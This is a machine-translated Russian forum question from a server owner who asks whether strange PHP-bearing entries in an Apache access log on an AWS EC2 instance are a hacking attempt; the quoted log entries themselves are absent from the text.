apache — Странная запись в LAMP сервере access_log — что делает этот PHP?

Я не уверен, может быть, этот вопрос больше подходит для Server Vault, но я думал, что PHP делает его актуальным …?

Я вижу странные записи в моем журнале доступа к экземпляру AWS EC2, который я настроил около недели назад для предоставления пользовательского API для сайта электронной коммерции.

Есть 5 записей, как это:

Блок HTML-кодированных объектов:

Это что-то нормальное? Или это какая-то попытка взломать сервер? Может ли PHP даже успешно передаваться в качестве параметра строки запроса таким образом, если он не настроен на получение строки запроса?

Кто-то тоже только что попробовал:
